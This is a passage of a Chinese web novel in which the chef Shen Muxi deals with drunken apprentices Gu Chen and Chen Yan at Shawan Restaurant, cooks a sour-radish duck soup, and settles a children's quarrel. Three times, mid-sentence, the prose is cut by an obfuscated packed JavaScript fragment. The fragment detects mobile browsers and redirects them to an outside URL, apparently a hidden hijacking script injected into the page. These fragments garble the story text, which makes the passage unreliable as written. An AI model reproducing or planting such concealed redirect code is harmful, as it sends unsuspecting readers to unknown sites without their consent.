而沙湾主厨和顾辰对了个眼神，意识到对面的这个人明显还不清楚顾辰的身份，于是打算静观其变。 吴大伟怕陈炎继续多话赶忙打圆场：“既然大家都在，我陪大家喝一个？” 众人并未回应，吴大伟便自顾自地将自己备好的赤水酱香酒打开，倒进了分酒器里，拿着二两的分酒器，仰着脑袋一饮而下。 陈炎：“好！吴老板豪气！” 吴大伟：“哎？陈兄，你不是有事要走？这会儿时间恐怕是……” 吴大伟见陈炎无动于衷，甚至上手，从后背将他从包房往外推。 陈炎：“顾小师弟，你怎么不回敬吴大老板一个？就这么不尊重人的吗？” 陈炎并没有理会吴大伟，只是吴大伟好巧不巧把他推到了顾辰的跟前。 陈炎见吴大伟手中的分酒器里都见了底，顾辰还是一副对待大老板如对待他的样子。 简直毫无礼貌，陈炎觉得尽扫颜面。 陈炎：“听到没顾辰，回敬吴大老板一个！” 陈炎用命令的口气冲着顾辰说话，眼也直直地盯着他。 见顾辰仍是无动于衷，陈炎的眼中散出一丝寒气，甚至开始一步步逼近顾辰。 “顾小师弟，快！” 顾辰全程如一根钢钉般钉在了地上，脚下一动不动，眼神也不曾退避分毫。 “需要吗？”顾辰回答陈炎。 陈炎登时怒火中烧，想要发作。 “不需要，不需要。”吴大伟刚忙上前制止，硬生生地将陈炎和顾辰分开，自己横在了中间。 陈炎转身拿过吴大伟刚才打开的酒，给自己拿了一个杯子，猛猛地喝下三杯，“吴老板我敬你！” 吴大伟现在也十分尴尬，他现在进退两难，只见顾辰竟然还将椅子拉开，入席坐了下去。 顾辰：“先吃饭吧。” 顾辰端起碗便要开始夹菜，吴大伟看着一旁的沙湾主厨。 吴大伟：“您是顾辰的朋友？” 沙湾主厨：“对，算是。” 吴大伟：“不如坐下来一起用餐？” 顾辰见已经这般，看着那主厨点点头，于是主厨也入了席。 吴大伟坐下，开始给顾辰布菜。 “来，吃这个。听说这个蜂窝土豆丝是沙湾饭店的招牌，需要提前预定，很费功夫的。就是这菜有不少糖，不知道您吃不吃得惯。” 陈炎撇了一眼吴大伟那样，以为他是因为这沙湾主厨的原因才对顾辰这般客气：“他懂什么？一个沈家酒楼的低级小工也配吃这样菜？” 陈炎竟说着说着也入了席。 顾辰低头，不动声色的吃着碗里的菜，优雅从容，散发着十足的气度。 陈炎：“这蜂窝土豆丝，可不是什么人都会做的，对了既然今天沙湾饭店的的主厨都在这儿了我就不卖弄了。” 沙湾饭店的主厨接过话开始说着。 “要说这个蜂窝土豆丝啊，我其实一直不得要领，虽然我们是世家经营酒楼，但是我没当兵前就是怎么学都不开窍，要不是顾老弟在部队对我多有照顾，最后把我安排进了炊事班，我退伍出来估计也没法跟着我爹学艺。我爹以前教得太难，我学不明白。顾老弟，我敬你一杯！” 说罢，那主厨直直地饮了3杯白酒。这酒虽好，但是也上头，众人都有些上头。 “顾老弟，没有你，就没有我，就没有今天的沙湾饭店。我们全家，尤其是我代我家老爷子感谢你！” 顾辰见战友性情中人，在他又要喝下时，将他手里的杯子接过，把那酒倒在了自己的杯子里，然后一饮而尽。 面对顾辰的豪爽，吴大伟赶忙拍手叫好。 “好！好酒量啊，我跟一个！” 陈炎气不打一处来，“吴老板，你陪什么陪，他就是一个小工，小工，还是低级的小工！按说他都没资格上桌和我吃饭！这种菜他配吃嘛，他就坐下来了。” 陈炎一把夺过吴大伟递给顾辰的酒，干了。 陈炎明显不胜酒力，猛猛地吃了好几口菜。 “沙湾饭店这菜确实做得不错啊！夫妻肺片的红油除了香，还有复合的怪味味型调味，挺好吃的。” 陈炎终于说了句能让吴大伟不那么尴尬的话，吴大伟赶忙张罗大家“吃菜吃菜。” 面对吴大伟的谦逊，陈炎此时借着几分酒意开始没有耐心了。 “吴老板，你在干什么？他只是我手底下的一个低级小工，接下来咱们是要和全国第一的赤水酱香酒合作的，咱们的高粱米一旦进了赤水酒厂……” 一个酒嗝短暂打断了陈炎的话，吴大伟看着顾辰，脸上一阵红绿，不知如何解释。 陈炎：“而且接下来……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959021|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴大伟把陈炎一把拉过，怕他继续把他们计划从顾星河处投标的事情告诉顾辰，吴大伟拿过一个杯子递给陈炎，想要他喝下。 吴大伟：“我敬你，陈大厨。干了！” 陈炎不理吴大伟：“接下来我……我是要和沈家酒楼的女儿结婚的，到时候咱们做大做强，不比这沙湾饭店差。” 吴大伟见陈炎说的无关投标的事情，稍微放了点心。 但是顾辰听到陈炎还是要娶沈木犀，本来平静的脸上开始乌云一片。 顾辰：“你能赢得主厨吗？就妄想要娶沈木犀。” 陈炎一个筷子摔在了地上发出剧烈响声：“沈木犀也是你叫的！” 顾辰：“今天这吴大老板给我预定的菜，大师兄觉得如何啊？” 陈炎虽说有些迷糊，但听到此话有些惊讶，他扭脸看向吴大伟。 这菜明显比刚才和他吃的那顿饭要好，原来自己误入了吴大伟另一个的饭局。 这时一旁不知状况的沙湾饭店主厨开口将陈炎拉回现实。 主厨：“是啊，你们觉得今天这菜味道咋样。我看着包房是顾老弟你定的，看完了菜单，我打算送两个菜来，喝一个。” 包房是顾辰定的？这可是沙湾饭店饭店最好的包间。顾辰这样的低级小工一年的工钱都定不起这样的包房。 陈炎一时有些懵。 “说，你是不是巴结沈木犀得来钱，然后来此挥霍啊？” 见顾辰不说话，陈炎抓起桌上所有的碗筷朝他扔去。 …… 沈木犀做11路公交车到沙湾饭店的时候，陈炎已经烂醉如泥，差点就要在包房里把衣服脱了，他疯了有一阵子了，拉人就要唱邓丽君的《甜蜜蜜》。 “甜蜜蜜 你笑得甜蜜蜜 好像花儿开在春风里 开在春风里 在哪里 在哪里见过你 你得笑容这样熟悉 我一时想不起 ……” 沈木犀在领班的带领下走到陈炎的跟前，他应该是没认出沈木犀，一把拉住沈木犀的手。 陈炎一脸醉醺醺的凑近沈木犀。 “想起来了吗？”沈木犀将手从陈炎手里抽了出来，用手挡住了陈炎撒出的酒气。 陈炎因为沈木犀的动作一时有些重心不稳，磕到了身边的椅子上，差点摔倒，再定睛看沈木犀，眼睛突然瞪得巨大。 “啊 是你 是你 梦见的就是你” 沈木犀以为陈炎能醒分毫，现在看来应该是彻底醉了。 沈木犀身后的领班赶紧凑上前来解释：“沈老板我们确实有点控制不住了，现在这几位都喝多了，这位也一直喊着你的名字。” 沈木犀顺着领班指着方向看去，顾辰不似平常，衣领散开像是和人动了手，面色微醺地坐在地上。 沈木犀蹲下靠近顾辰：“为啥喝成这样？” 顾辰眯着眼看着近在眼前的沈木犀，突然凑近沈木犀。 “为你。” 顾辰的回答一时让沈木犀有些发懵，但是面对顾辰如此近的距离，沈木犀闻到了他身上一股淡淡地香气，十分好闻。 32. 酸萝卜老鸭汤（上） 沈木犀一时觉得是不是听错了顾辰的话。她本想再问，结果被顾辰一把向前搂进了怀里。 要不是因为顾辰身上传来的阵阵酒气，她真以为顾辰是清醒的。 此刻沈木犀能明显的听见顾辰心跳声，以及顾辰身体的触感，是那种坚实又有力的感觉。 而令沈木犀更加错愕的是，她听得身边擦身而过一个白酒瓶子砸在了地上，发出声响。 顾辰的手背为了护着沈木犀不受伤，直接挡住那扔过来的酒瓶。顾辰闷声吃痛，但是并没有让沈木犀看出异样。 陈炎喝多了正在发疯。 领班将包房服务员都叫了来，一齐将陈炎从桌子上薅了下来，见他醉醺醺的，便把他固定到了椅子上强制他坐好。 沈木犀此时被顾辰紧紧地搂在怀里，听见后面人议论。 “刚才这男的还说自己是沈家酒楼的上门女婿，看着也不像啊。” “可不是，这掌柜的抱着的这个估计才是沈家酒楼的女婿吧。” 沈木犀觉得这么在人前搂搂抱抱的实在是不好，将顾辰用力拉开，也不知道是不是顾辰真喝多了，沈木犀用了十足的力气才和他分开。 沈木犀站起身来，发现这包房里怎么只有这两个人了。 领班向沈木犀解释，这包房是顾辰先生开的，菜是另外一个名叫吴大伟的点去上厕所后就没有回来，还有他们饭店的主厨是陪客已经回去休息了，陈炎则是后面闯进来了的。 这莫名其妙的几个人怎么会约在这里喝酒？沈木犀一时有些盘不明白这中间的关系。但是电话都打到她这里了，可见他们先前闹成什么样了。 领班：“掌柜的，餐费已经是结了的，就麻烦您把这两人带走就行。” 沈木犀点点头，可是现如今两个人还有些醉，她是没办法同时把两个人都带走的。 “实在是不好意思啊，能不能把这两个人帮我挪到靠墙的位置，一会儿他们醒了我们就走。” …… 记忆里上一世，沈木犀也很少来沙湾饭店。 一个自己酒楼能满足她的日常吃喝，二个沙湾饭店是真正的老字号转制国营饭店后又再次回归家族经营的饭店。 几百年的餐饮底蕴和她们沈家酒楼是不能比的。 但是这一次沈木犀既然来了觉得可以转转多看看。 沙湾饭店一共8层，1、2层用于餐饮，2层以上用于住店。 良好的管理让沈木犀眼前一亮。 此时沙湾饭店虽然比中午上客少了，但是仍有用餐的人。 菜色出品干净漂亮，且种类繁多。 可是刚才沈木犀明明听见沙湾饭店的主厨也喝了酒，被抬走了。 他们家主厨不在，为何前厅后厨运转自如呢？ 沈木犀看到前台附近，领班正在规训几个服务员。 这个时代打鸡血的那一套还不存在，走进沈木犀这才听明白了那领班说的话。 “刚才那个包房里，喝多酒闹事，这个问题不在客人，是我们服务不到位造成的。小李你是那个包间的主要负责人你先说。” 对面一个扎着两个麻花辫子的服务员开口：“客前没有做好人员的管控，预定包间需要确认人员和人数。” “还有呢？” “结束用餐时，不必要的用具需要及时撤走。” “什么东西没撤？” “餐盘，残渣，还有用过酒后的空瓶。” “行，今天能复盘出来，还算有救，你想得清楚，就拿着小票去后厨那边领个炸糕。” “谢谢领班，我下次一定好好注意。” “请记得，我们复盘的目的一定是让大家做的更好。好吧，今天先这样，一会儿后厨的师傅会轮班给大家讲上菜的技巧，这样大家配合起来也会更简单。明天就是咱们前厅的组长轮班去给后厨的师傅们说下前厅客人对于菜式的需求。我说完了，大家去忙吧。” 沈木犀恨不得自己没有带笔带纸。 原来沙湾饭店早就开始做每顿饭复盘的工作，这样信息同步贯通，各个岗位上的人员也能相互学习。 怪不得沙湾饭店的主厨可以不在的情况下，餐饮生意仍能照常经营。以这样的方式，后厨当厨也绝非是以一人之主力为主的。 沈木犀觉得虽然自己跑这一趟非常耽误时间，但是居然无意间发现了沙湾饭店科学的管理模式。 沈木犀沉浸在自己世界里，不想抬眼时看到一个人形色匆匆的离开了。 那人的背影沈木犀不会看错。 沈木犀大喊：“星河！” 只见那人一愣，顿了顿，抬起脚来跑得更快了，这更加坚定了沈木犀的猜测，那人就是顾星河。 那人胳膊下夹着一个厚厚的笔记本。 沈木犀摇头笑，来学习还怕被我知道，生怕我又学会了，把她超过了。 …… 陈炎和顾辰清醒了不少，看着沈木犀坐在他们面前，陈炎揉了揉眼睛。 “啊，还真是木犀。” “你又给人说你是沈家酒楼的上门女婿了？” 陈炎：“没有。” 顾辰：“他说了。” 沈木犀：“你们为啥喝多？” 陈炎：“他不拿我当大师兄，不给我敬酒。” 沈木犀看顾辰：“你都没敬酒，你为啥喝多了？” 顾辰：“他说他是沈家酒楼的上门女婿。” 陈炎：“你管我说什么？” 沈木犀问陈炎：“你凭啥要说啊？” 陈炎没说话，一脸不服的样子。 沈木犀：“咱俩这比试也不剩两天了，如果你还是这样四处乱讲，那咱们的比试，我之前的承诺也就不做数了，你自己考虑，拿钱滚蛋。” 沈木犀一脸严肃地看着陈炎，没有丝毫可商量的余地。 只见沈木犀起身，顾辰也跟着起了身，二人都走出了包间，陈炎这才跟了出来。 “我这是来干嘛了？” 陈炎絮絮叨叨才发现二人已经走出了沙湾饭店的大门。 再想抓紧时间跟上时，一辆公交车挡住了正在过马路的陈炎。 好巧不巧，陈炎正要过马路时，回老城的11路公交车已经离开。 此时正是下午，公交车上没什么人。 沈木犀找到后排的位置坐下，沈木犀从车窗看去，确定了陈炎被甩在了后面，没有上成车，回过头来，沈木犀还在笑，却发现顾辰直直地坐在了她身边。 二人一路上都没说话，此时的公交车头上都顶着一个巨大的燃气包，造型特殊怪异。开起来会随着路面的颠簸晃动，仿佛能感觉头顶上了一个巨大的水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965564|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泡在路面上飞驰。 阳光透过车户，洒在沈木犀的脸上，照得人绵绵的想睡觉。 顾辰将肩膀借给沈木犀：“靠我肩上睡会儿吧。” 沈木犀：“不要。” 顾辰：“为啥？你不困吗？” 沈木犀：“我才会像你们喝多了麻烦别人来捞人。” 顾辰：“你靠我肩上睡不麻烦。”见沈木犀无动于衷：“就当我还你个人情。” 沈木犀不理会顾辰看着窗外的风景，眼睛渐渐地闭上了。 顾辰见状赶紧沈木犀的脑袋轻轻地放在了他的肩上。 于是沈木犀随着颠簸的公交车，睡了。 …… 就在快要到站时，沈木犀竟然醒了，二人相互依偎着靠在一起。 沈木犀睁开眼，感受着这样的姿势太尴尬了。 她想起身，只见公交车突然一脚油门踩停，沈木犀一时重心不稳胡乱抓住顾辰的衣服，竟然将顾辰的衬衣扣子扯了下来。而顾辰一把将沈木犀牢牢抱住站定。 此时车辆已到站，沈木犀赶紧站起身，与顾辰拉开些距离，二人随着人流往下走。 沈木犀：“你为啥也睡了？” 顾辰：“我醉了。” 沈木犀手里捏着衬衣扣子，其实很想发火，却不知怎么发难。 顾辰理着自己的衣领：“你要是觉得欠我个人情，给我做个醒酒汤吧。” 沈木犀边走边回答：“想喝什么？” 顾辰：“酸萝卜老鸭汤。” …… 来到灶前沈木犀越想越气，自己去别的饭店捞人，结果自己还欠人情要做醒酒汤。 沈木犀边想边干着活，一旁的师兄弟们问话也不回，见她周身散着戾气，也都不想惹事悻悻离开了。 沈木犀从后厨连廊的位置找到了阴凉处的泡菜坛子。 酸萝卜老鸭汤，有酸萝卜和风萝卜两种。 酸萝卜更酸更咸，鲜度更加浓烈。 风萝卜需要将腌制后的萝卜，取出与外界风吹。酸度降低，还会有一种风吹后的特殊气味。 两种滋味的风格都有各自的特点，也都能做酸萝卜老鸭汤。 这次沈木犀要选用的是酸萝卜。 既然要醒酒，酸度是一定要达到的。 沈木犀揭开泡菜坛子的盖子，一股直冲天灵盖的酸爽扑面而来。 沈木犀闻着这股久违的酸味，口腔内顿时分泌出不少口水。 沈木犀赶紧的用筷子翻找，这酸菜坛子里都是她爹的宝贝。 酸豆角、酸菜、泡椒、泡姜、酸萝卜一应俱全。 终于挑好了一盆，沈木犀最后还挑出一根泡姜。 盖好盖子，沈木犀拿着那根泡姜咬了一口，顿时满嘴酸脆生津。 太过瘾了，这还是沈木犀恢复味觉后吃得嘴酸的东西。 而沈木犀将配菜备好路过前厅时听见几个伙计和顾辰聊天。 “大师兄真把人饭店砸了？” “怎么就你一个人和小师妹一起回来？” “大师兄没恼吗？” 顾辰有一句没一搭的回着话，却发现沈木犀正看向这边。 “哎小师弟你也喝了不少吧。” 顾辰：“醉了醉了。” 说完顾辰看向沈木犀，温柔地笑着。 33. 酸萝卜老鸭汤（下） 陈炎还没坐上11路汽车，就被吴大伟的面包车拦住了去路。 陈炎本来不想上车，但是这会儿人又不清醒。有人专车送回，不坐白不坐。 陈炎上了车闭目养神，吴大伟有些犯难，按理说陈炎的脾气他应该会对自己接近顾辰不依不饶。为何此时又不作声呢？ 陈炎：“你想通过我的关系两头巴结肯定是不行的。顾辰也就是和沙湾饭店的主厨有点站友关系，那小子现在就是想趁乱和沈木犀好，我能容得下他？” 吴大伟这么细听下来，陈炎应该不知道顾辰真正的底细。 但是这次陈炎在现场的原因，顾辰在当场并没有和他多说什么。 这让吴大伟对中午为啥要安排陈炎和顾辰在一个酒楼里吃饭的决定感到懊恼。 陈炎：“你是觉得我弄不过那小子？” 吴大伟：“怎么可能！” 吴大伟扭脸看向陈炎：“大师兄您毕竟是大师兄。” 陈炎笑了笑：“这句话我勉强爱听。” 吴大伟：“那咱们回哪儿啊？” 陈炎：“顾家百年老号。”闭眼继续说“主厨比赛快开始了，这一次我得露点真东西了，想把我陈炎撵出去，哪有那么容易，沈木犀她们就等着瞧。” 吴大伟：“好勒！” …… 沈木犀将他爹带回来的新鲜鸭子收拾干净，用铁锹铲出一捧烧得红红的炭火。 用煤炉子的铁钳子把鸭子外皮上的绒毛烧干净。 鸭子比鸡绒毛更多，热水汆烫拔毛后，绒毛仍是会附着在鸭皮表面。其他的各种办法都不易于处理。火烧这种办法，速度不仅快还能有效的去除鸭肉所带的鸭毛味。 沈木犀将烧好漆黑的鸭子放入冷水里泡着，一会儿更好用丝瓜瓤清洗干净。 另一边，明美也来帮忙整理鸭毛。这些鸭毛可以根据羽毛的大小和种类清洗晾晒，会有人专门来餐饮店和菜市场收。 小明美知道这些可以换钱，处理的十分仔细。 而一旁的沈木犀则将几羽鸭子翅膀上最大的羽毛单独陈列出来又拿水好好的清洗出来，摆放在了烧开水的锑锅上。 在吹风机还没普及的时代，这是最快的烘干方式。 沈木犀嘱咐明美可以先休息了，自己在后厨盯着就好，于是明美带着明事在门口的空地玩去了。 沈木犀将收拾好的鸭子剁成大块，冷水入锅煮沸，去血水。 冷水小火烧开是最有效的去除血腥味的方式，这中间沈木犀还加了料酒去腥。 最重要的是鸭子足够新鲜，而且是田间地头里养大的土鸭。 这种土鸭本身的品质好，鸭肉紧实，鸭油金黄。 待血水漂干净，沈木犀将鸭子用竹子编的漏勺盛出，入温水里冲洗干净。 沈木犀准备了另外一口锅，用鸡油润了一下锅，见锅热，沈木犀将鸭肉放入锅中煸炒，这一步可以更有效的去除鸭子的鸭毛味。 见鸭被炒的微微发干，锅底的油逐渐清澈，水汽都被挥发了出去。 此时将切好洗净的酸萝卜倒入，再次煸炒，根据个人口味加适量盐。 一股浓郁的酸萝卜味扑面而来。刺激着沈木犀的味蕾，酸得直叫人咽口水。 沈木犀将地上的开水瓶拿起，开水倒入锅中，那鸭肉和酸萝卜瞬间被开水和油脂滚出的浓白色汤覆盖。 沈木犀最后有扔进去了三五个泡辣椒。 这道酸辣宜人，汤鲜味美的菜还需要一点时间。 沈木犀将锅内的东西全部倒入砂锅中，放在了一旁的煤炉子上，小火再慢慢炖。 …… 此时下的阳光很好，大厅里备菜的服务员和后厨的伙计们都在闲聊休息。 挨着墙根的地方，顾辰静静地坐在那里闭目养神。 沈木犀嫌吵，来到了顾辰所在的八仙桌坐下，她拿着笔在纸上记着什么。 顾辰：“就那么怕输？” 沈木犀：“是啊，一个都指望不上。” 顾辰：“我可以帮忙啊？” 沈木犀：“你不也喝多了？” 顾辰又闭上眼睛，嘴角笑着。 沈木犀：“笑啥？” 顾辰：“原来你希望可以指望我。” 沈木犀对顾辰突然这奇奇怪怪的话说得有些莫名其妙。 沈木犀：“什么指望不指望，我先去看汤……” 沈木犀起身朝后厨去，却看到门口几个孩子正在聚拢玩耍。 明美明事在一旁看着小孩人们打着玻璃弹珠，几次明事想要参与都没有进入成功。 那三五个小孩儿明显有意不让明事明美一起玩，明事也有些着急，竟一把伸手去抢了地上的玻璃弹珠。 只见明事当场就被小孩儿们按在地上，见他紧紧捏着手里的玻璃弹珠就是不还，那几个小孩儿顺势就朝他脸揍了过去。 沈木犀上去阻拦，她把明事扶了起来，但是仍然无法从明事手里取出玻璃弹珠。 “你不就是缺个玩具，咱要是有比这个更好玩的。”沈木犀看着明事，明美也在摇着明事的手让他把弹珠交出来。 沈木犀把手帕拿出，把明事的嘴角擦了擦，继续道：“我要是做出来给你了，你得把手里的东西还给人家。” 明事眼神中略有闪动“他们打我了。” 对面那三五个穿军绿色小号军装的小孩小黑开口：“是他先抢我们东西！” 沈木犀：“我看到了，你们几个这么小气的吗？我平时给你们不少好吃的吧，带我家的小徒弟们玩玩怎么了？” 小黑：“那他也不应该抢我们东西。” “你们动手没？”沈木犀盯着那几个孩子，但仍不回话“等着。” 于是沈木犀起身，朝后厨去了，将刚才那几根正在烤干的鸭毛取出。 这几羽鸭毛和别的地方的鸭毛不一样，尤其是根部，坚硬粗状，且呈透明的圆柱型。中间又都是空心的。 沈木犀将这一处用剪刀剪了下来。 她快速的将这透明的圆柱下端剪开，成十字花刀型。 沈木犀又将后厨库房里的平时收集的鸡毛找出，一羽一羽的找好最实用的羽毛，不能都是一样大，不同长短有不同功效。 沈木犀带着明美和明事， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969473|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他们在一旁帮忙。在外等着的孩子也闲来无事，坐在大厅里看着沈木犀干活。 只见沈木犀用了一个硬币，几块厚布，又将那透明的羽翼管缝在了上面。 沈木犀将明美明事挑选出来的好羽毛，一一插进圆柱体里，不一会儿孩子们的眼前一亮，一只又大又好又结实的毽子出现在了大家眼前。 小黑伸手就想去拿，被沈木犀一把夺过。 沈木犀：“道歉。” 沈木犀看着小孩：“谁让你动手打人，打人不对。” 小黑又看着沈木犀手里的毽子十分想要。 这才开了口：“对不起。” 明事明显得意，也想去拿沈木犀手里的毽子。 沈木犀也一把挪开，不让他拿，“给人道歉，不让玩，抢人东西被打活该。” 明事被沈木犀说得不还意思，看着对面的小黑：“对不起。” 当场小孩儿们刚才的矛盾瞬间烟消云散了。 所有小孩儿开心的拿着毽子冲去门口玩儿了。 这时顾辰来到沈木犀身边。 “师姐你这化解小朋友的矛盾真是有一套。” “嗨，再有一套，也没法解决你们这些大朋友的矛盾。对了，我汤好了，喝完，我人情也就还完了。” “我自己去盛。” 顾辰说完便小跑进了后厨，小火咕嘟完的汤，还没入口，已经有些迫不及待了。 顾辰将锅全部端了出来。 沈木犀在招呼大家伙来喝，却发现他爸还有叶三叔、陈叔都不在店里。 “他们仨一见如故，觉得检查也得一起去，所以下午一路去了。”应红及时向沈木犀报告着情况，继续补充“叶十七陪着的。” 沈木犀觉得挺好，一次性老年组的身体健康都有着落是个好事。 这样之后她要干什么也能有底气。 沈木犀盛起了第一碗汤，顺手想递给应红分给大家，却被顾辰接了过去。 顾辰一股子夺食的样子，和他平时沉稳的性格十分不一样。沈木犀扭脸盯着他。 顾辰没有什么表情，“这是你欠人情给我做的醒酒汤。” 沈木犀这才明白了他的意思，“好，顾小师弟喝饱喝醒啊。” 顾辰点点头，嘴角笑了笑。 给一众伙计们都盛了碗汤，大家对这下午还能喝道一碗如此美味的鸭汤十分开心，也对沈木犀的手艺赞不绝口。 鲜得让人不住分泌唾液，鸭肉也被泡菜酸味煮得极香。 这样的一碗酸辣开胃的鸭汤确实能让整个味蕾和胃舒适起来。 顾辰微皱的眉头也悄悄舒展开来，顾辰扭脸找寻沈木犀，目光所及之处她正在详细记录着主厨比赛的菜品配料和要留心的注意事项。 这样的沈木犀让顾辰想起第一次初来酒楼时，沈木犀坐在门口记录的样子。 她告诉自己学厨又什么丢人，通过双手挣钱吃饭，还能吃到那么多的好吃的，是多么幸福的一件事。 顾辰的思绪被门外跑进来着急忙慌的明美打断。 “不好了！犀犀姐姐！明事把玻璃球吞了！”